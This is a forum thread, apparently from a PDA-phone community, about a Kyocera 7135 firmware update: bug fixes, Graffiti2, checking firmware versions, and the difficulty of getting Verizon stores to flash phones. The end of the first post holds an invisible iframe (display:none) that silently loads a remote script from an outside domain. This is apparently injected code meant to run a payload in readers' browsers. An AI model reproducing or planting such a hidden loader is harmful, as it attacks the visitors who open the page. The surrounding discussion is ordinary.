First post here Kids, I used to post on smartphonesource.com until the "vibe" there got strange.

Anyway I thought I'd start here by posting some BIG news ... there's a 7135 firmware update floating around, MZ1.0.44 / SZ1.0.29.

This firmware update fixes a slew of problems which we all have been having -- the biggest one being the 7135 contrast setting changing all by itself!!! They also fixed a problem I've had where the phone s/w would freeze in "Calling" if I canceled a Voice Dial call. PLUS ... they've included a NEW version of EIS Browser which SUPPOSEDLY fixes a number of crashes, and NOW allows your EIS bookmarks to backup during a Hotsync.

Now for the "ADD" ... as I said, this NEW firmware installs Graffiti2!

Of course there IS some "bad news" ... as usual, Verizon or Alltel are the only way to get your phone's firmware flashed. And Verizon is a b*tch to do so!

I haven't had a chance to load the new firmware myself YET (and probably won't be able to do so until tomorrow afternoon) ... so I can't "verify" that the bugs are indeed fixed. But when I get the chance, I'll fill you all in!

At least there's light at the end of the tunnel!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Any idea how to check the installed firmware version? I just got my phone and wonder if it's updated already. Also--what's Graffiti2?
Thanks.

Poiks:

To check your firmware version, go to the main Palm screen, tap on "Phone Info". At the top right of the Phone Info screen you'll see a drop down box. Select "Software" and your firmware versions will be displayed.

Graffiti2 is Palm's "new" version of the Graffiti handwriting s/w. Basically Palm changed Graffiti as a result of a lawsuit. With Graffiti2, it allows certain characters to be entered with TWO pen strokes, whereas the original Graffiti required ONE stroke (the letter "a" being an example).

Thanks! I'm at MZ1.0.36, SZ 1.0.23. I think I'll leave it alone, as I'm not having any problems (and flash upgrades via Verizon is a sketchy proposition).

When I follow the Software check proceedure, it says that the PDA Software is SZ 1.0.23, but under phone software it says "No info". Under PRL (What does this mean), it also says no info. Any ideas as to how to find the phone software?

Also, is there any info on exactly what this software update does?

Hm, NO PRL? (PRL stands for "Preferred Roaming List" ... which is needed by your phone! In effect it tells your phone which towers are "best").

This happened to me ONCE, I seem to remember that at THAT time my phone was off. However, I just looked at "Software" with my phone off and BOTH the Phone Software AND PRL show.

If I were you, I would FIRST do an "over-the-air" re-program of your phone by dialing *228, then choosing Option 1.

Then see if things appear in Phone Info.

OK folks:

Here's my VERY INITIAL comments about the new 7135 firmware:

1. The contrast bug SEEMS to have been fixed. BUT, I SWEAR I saw the contrast shift a few minutes after I loaded the firmware!!! Since then it hasn't (after opening and closing the flip a few dozen times!)

2. Graffiti2 is no big deal, although for the newbie using TWO strokes for certain letters is more intuitive. Especially "t", "x", and "k". The interesting thing is Graffiti2 REQUIRES you to dot your "i"! Also, UNLIKE the newer Palms, you CANNOT write Graffiti strokes on the main screen of the 7135 ... you still write on the Graffiti area.

More later ... !

Some more pieces of info on the new firmware:

1. They've added a NEW option in "Prefs PDA" called "Web Clipping", where you can configure settings for your WAP browser, such as proxy server.

2. It seems that some of us have been fiddling with ROM files -- from what I read, doing so CAN corrupt the ROM image, making the phone unusable. As a result, it seems that the new firmware has added safety feature which LOCK certain ROM memory blocks and stops certain Palm apps from WRITING to ROM.

3. With previous firmware, the 7135 would sound four beeps after OTA programming. The new firmware sounds only three (I know, BIG DEAL!)

4. The new EIS browser SEEMS to run faster than before. The version is 1.20.1.14. FYI I DON'T remember what version I had previously.

FINALLY ... I guess I WAS "expecting the worst" ... for I now feel comfortable in saying that Kyocera HAS fixed the contrast shift bug. I have NOT experienced it so far, despite repeated tries!

More later!

Can someone list the steps needed to update the firmware?

I called verizon and they said I need to go to the Kyocera site to get the update. I have looked for it there but with no luck.

Also... does this fix the address book bug with it not dialling all the numbers?

Welcome to pdaPhoneHome ... glad to have you here.

If someone wants to write up a procedure for the upgrade, it would be a good thing to post in our FAQ. If you haven't found it yet, you can get there from the navigation menu at the top of the page... "Select a pdaPhone"... just pick the 7135 and you'll find the FAQ list.

__________________
Mike - Been Converged?

Thanks for the welcome!

As for a "firmware FAQ", that would be useless -- since you need the Phone Software Tools, which ARE NOT publicly available (in fact, neither are the firmware hex files, for that matter).

Nevertheless, I DO NOT recommend that ANYONE update their firmware themselves. Because if they try, and if the update fails (e.g., if power goes off in the middle of it), the phone is totally unusable. And obviously it's not covered by warranty. At least IF something like that happened due to carrier tech support, that WOULD be covered under warranty.

Noodle:

Verizon is "passing the buck" ... Kyocera DOES NOT upgrade phone firmware for end users. Even if they did, it'd require you to send your 7135 to San Diego, since firmware upgrades CANNOT be done by the end user.

About the address book bug ... IF you're referring to the bug where hitting "Send" for a number other than the first listing for a name -- THAT bug was fixed in SZ1.0.24 / MZ1.0.38. Apparently this firmware has been loaded onto newer Verizon phones ... but FYI I've heard of RARE stories where a store actually flashed a customer's 7135. Despite that VZW SHOULD do so.

Has anyone found any Verizon store that is aware of this firmware upgrade?

Thx.

Amazingly, I was in Silicon Valley and pulled out my 7135; and a guy saw it and struck-up a conversation. It seems he is a beta tester for the phone. He informed me that the firmware update will be available in about 2 weeks. You will have to take it to a Verizon store that does programing in order to have it done. It is about a 20 minute process.

I waited around 45 minutes just to find out that the firware is not released yet at my verizon store!

Ah, yes....the Verizon Store experience. I know it well. Walk in, give your name to La FreakyaChanté at the door. Wander around aimlessly, looking at phones you don't need, for a minimum at 30 minutes. Finally your name gets called and you get "help," if you can define "help" as "being informed your out of luck."

Verizon needs to learn to do triage.

FYI I know of NO Verizon store that's aware of SZ1.0.24 / MZ1.0.38, the latest APPROVED Verizon firmware!

Well... How the hell did others get the firmware on their phone??

Where do these people live?
Or who did they have to sleep with to get it done?

Noodle:

As far as SZ1.0.24 / MZ1.0.38 ... it seems that Verizon shipped SOME of their phones with this firmware -- BUT most of their phones come with SZ1.0.23 / MZ1.0.36. EVEN for NEW buyers ... it looks like it's a "crap shoot" as far as whether they get the old or the new firmware. (new meaning 1.0.3

As far as "with whom people have to kowtow to get the new firmware ... " -- there seem to be some folk on the web who are "friend-of-friend-of-friend who works at Kyocera ..."

Regarding myself ... I'm a reviewer of consumer electronics, so companies tend to "acquiesce" to all my "foibles"!

Any chance you can use your "skills" to find out when a store in DC will have the update?